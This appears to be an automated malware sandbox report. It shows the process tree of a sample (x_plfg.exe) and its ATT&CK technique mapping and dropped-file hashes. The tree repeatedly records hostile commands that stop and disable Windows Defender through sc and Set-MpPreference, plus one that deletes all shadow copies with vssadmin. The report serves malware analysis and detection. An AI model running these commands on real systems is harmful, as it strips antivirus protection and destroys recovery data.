        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:332
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        10⤵
        
        PID:17976
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:11228
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:10600
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:11520
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        
        PID:12044
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:13988
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:15308
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        11⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:15772
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:17972
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:15100
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:18148
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        8⤵
        
        PID:17776
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:18292
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        5⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:14932
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
      4⤵
      PID:10496
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:10700
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        6⤵
        
        PID:11044
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:12248
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        
        PID:12588
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:12888
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:15868
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:18168
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        10⤵
        
        PID:9184
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        10⤵
        
        PID:2208
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:18800
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        8⤵
        
        PID:16728
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:18380
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:16656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
  2⤵
  PID:10304
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    - Checks computer location settings
    PID:10744
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
      4⤵
      PID:11076
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:11376
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        6⤵
        
        PID:12896
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        Checks computer location settings
        
        PID:14864
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        
        PID:16572
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:19228
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:4108
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        6⤵
        
        PID:1172

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:17528

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:14388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:16176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:12604

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c4 00000084
1⤵
- Suspicious behavior: LoadsDriver
PID:16656

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000cc 00000084
1⤵
- Suspicious behavior: LoadsDriver
PID:17420

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000100 00000084
1⤵
- Suspicious behavior: LoadsDriver
PID:728

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000104 00000084
1⤵
PID:2588

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000108 00000084
1⤵
PID:18800

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d0 00000084
1⤵
PID:17404

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000108 00000084
1⤵
PID:5880

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e0 00000084
1⤵
PID:15312

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:1656

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000dc 00000084
1⤵
PID:2056

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e0 00000084
1⤵
PID:16728

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000dc 00000084
1⤵
PID:16464

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:15488

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c0 00000084
1⤵
PID:16080

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000ec 00000084
1⤵
PID:9596

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c0 00000084
1⤵
PID:15696

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:17792

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000ec 00000084
1⤵
PID:18232

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c0 00000084
1⤵
PID:15060

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:18296

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:16668

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e4 00000084
1⤵
PID:15600

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e8 00000084
1⤵
PID:16572

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:16720

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c0 00000084
1⤵
PID:17244

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000ec 00000084
1⤵
PID:9028

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c0 00000084
1⤵
PID:15872

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:18168

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c0 00000084
1⤵
PID:15884

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000ec 00000084
1⤵
PID:9004

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:16368

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000ec 00000084
1⤵
PID:6604

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:18320

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000ec 00000084
1⤵
PID:18184

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:17436

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c0 00000084
1⤵
PID:15756

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:18028

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000ec 00000084
1⤵
PID:18176

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000080 00000084
1⤵
PID:17984

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000080 00000084
1⤵
PID:18400

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000ec 00000084
1⤵
PID:16124

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:17380

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e8 00000084
1⤵
PID:15544

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000108 00000084
1⤵
PID:868

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:3372

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000108 00000084
1⤵
PID:17252

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000dc 00000084
1⤵
PID:17540

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:14388

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000108 00000084
1⤵
PID:14740

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e4 00000084
1⤵
PID:4036

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c4 00000084
1⤵
PID:18292

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:16448

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c4 00000084
1⤵
PID:17712

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c0 00000084
1⤵
PID:16456

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000104 00000084
1⤵
PID:16200

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:4412

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:18120

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:2212

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000104 00000084
1⤵
PID:9580

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:12904

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000108 00000084
1⤵
PID:4504

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d0 00000084
1⤵
PID:18224

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000108 00000084
1⤵
PID:14216

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d0 00000084
1⤵
PID:9016

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000080 00000084
1⤵
PID:2208

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d0 00000084
1⤵
PID:18416

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e4 00000084
1⤵
PID:6408

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d0 00000084
1⤵
PID:18848

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000108 00000084
1⤵
PID:19840

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000108 00000084
1⤵
PID:15876

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000104 00000084
1⤵
PID:16592

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000104 00000084
1⤵
PID:16872

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:2492

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000100 00000084
1⤵
PID:15892

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000010c 00000084
1⤵
PID:3308

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000010c 00000084
1⤵
PID:20168

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:1048

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d0 00000084
1⤵
PID:13136

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000010c 00000084
1⤵
PID:17976

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:15844

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c0 00000084
1⤵
PID:20420

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:15044

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d0 00000084
1⤵
PID:5936

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:6336

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:9148

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c0 00000084
1⤵
PID:7096

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000010c 00000084
1⤵
PID:3604

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c0 00000084
1⤵
PID:17952

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000010c 00000084
1⤵
PID:19100

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:4112

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000080 00000084
1⤵
PID:5132

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000cc 00000084
1⤵
PID:17572

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:6640

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000ec 00000084
1⤵
PID:18428

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:4356

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:1068

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:20108

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:5056

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:11228

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:4492

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:16188

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000100 00000084
1⤵
PID:18420

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:16740

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000080 00000084
1⤵
PID:16032

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000080 00000084
1⤵
PID:8876

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000120 00000084
1⤵
PID:16116

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d0 00000084
1⤵
PID:19624

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:19656

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000100 00000084
1⤵
PID:19712

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d0 00000084
1⤵
PID:19664

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:16156

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000080 00000084
1⤵
PID:13416

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c0 00000084
1⤵
PID:18988

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000010c 00000084
1⤵
PID:19632

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000080 00000084
1⤵
PID:19640

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000cc 00000084
1⤵
PID:4204

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:19288

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000120 00000084
1⤵
PID:19008

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d0 00000084
1⤵
PID:19692

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:16648

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000100 00000084
1⤵
PID:3040

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:17652

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000ec 00000084
1⤵
PID:19800

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:2772

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:16124

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:14932

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:18148

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:13332

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000100 00000084
1⤵
PID:20048

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000120 00000084
1⤵
PID:20284

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000080 00000084
1⤵
PID:6588

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:17924

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:7352

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:17008

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:860

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000120 00000084
1⤵
PID:16248

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000080 00000084
1⤵
PID:4108

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:15064

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:20288

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:16644

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000120 00000084
1⤵
PID:4228

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:17208

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000080 00000084
1⤵
PID:16920

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:8228

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:13552

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d0 00000084
1⤵
PID:19924

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:14720

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:19912

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000118 00000084
1⤵
PID:15236

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000e4 00000084
1⤵
PID:20384

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000108 00000084
1⤵
PID:4624

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000100 00000084
1⤵
PID:3884

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000100 00000084
1⤵
PID:332

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000100 00000084
1⤵
PID:4256

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000d8 00000084
1⤵
PID:15856

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000108 00000084
1⤵
PID:1628

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000100 00000084
1⤵
PID:3288

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c4 00000084
1⤵
PID:6620

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000c4 00000084
1⤵
PID:18716

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 000000f4 00000084
1⤵
PID:2952

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:6660

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 0000011c 00000084
1⤵
PID:1172

C:\Windows\System32\smss.exe
\SystemRoot\System32\smss.exe 00000080 00000084
1⤵
PID:17140

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Port Monitors

T1547.010

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Image File Execution Options Injection

T1546.012

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Port Monitors

T1547.010

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Image File Execution Options Injection

T1546.012

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Safe Mode Boot

T1562.009

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 1f47290565169207cf6710634a4db7acd984d34b21a49790e910ee6ae7fa9d89
MD5 c197f6a1a1a4feab9c39f19c38449010
SHA1 1e4a733666690d61eac0da90697b5dde40e0dc96
SHA512 a48f36d46a8bf2295ab201edf20ba96cec4959045d325975cf75b7f163e5df08f9d6bee07cf9f58423a73b26111f2b2925eab17101aacc1a030416873f1bc1ff
TLSH
T1D9112223F38C8920CC96163A509DAC5172B686CB81AFDF9F7FC0C210A1BF584CB61694
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ccqlxkui.uu0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ccqlxkui.uu0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Path C:\Users\Admin\AppData\Roaming\31
Size 2B
SHA256 e5a08ffd3d7509c66e79642edbdcd8ed889269a7164c718afca541304188423d
MD5 946490ad0fdc17b3b899760a445128f0
SHA1 2934526b788a419c15c351c8462a7a7eef4633fb
SHA512 0f3cb2ce12431693621c47573b3d81a5113be7388db3dea9f4d457439ef04c987f5c01f49f5f067ad4cbf0e451b402f70313c9908a47291a80b947a78d4b37f2
MD5 SHA1 SHA512

Submit Download

Net64.exe

Path C:\Users\Admin\AppData\Roaming\Net64.exe
Size 345KB
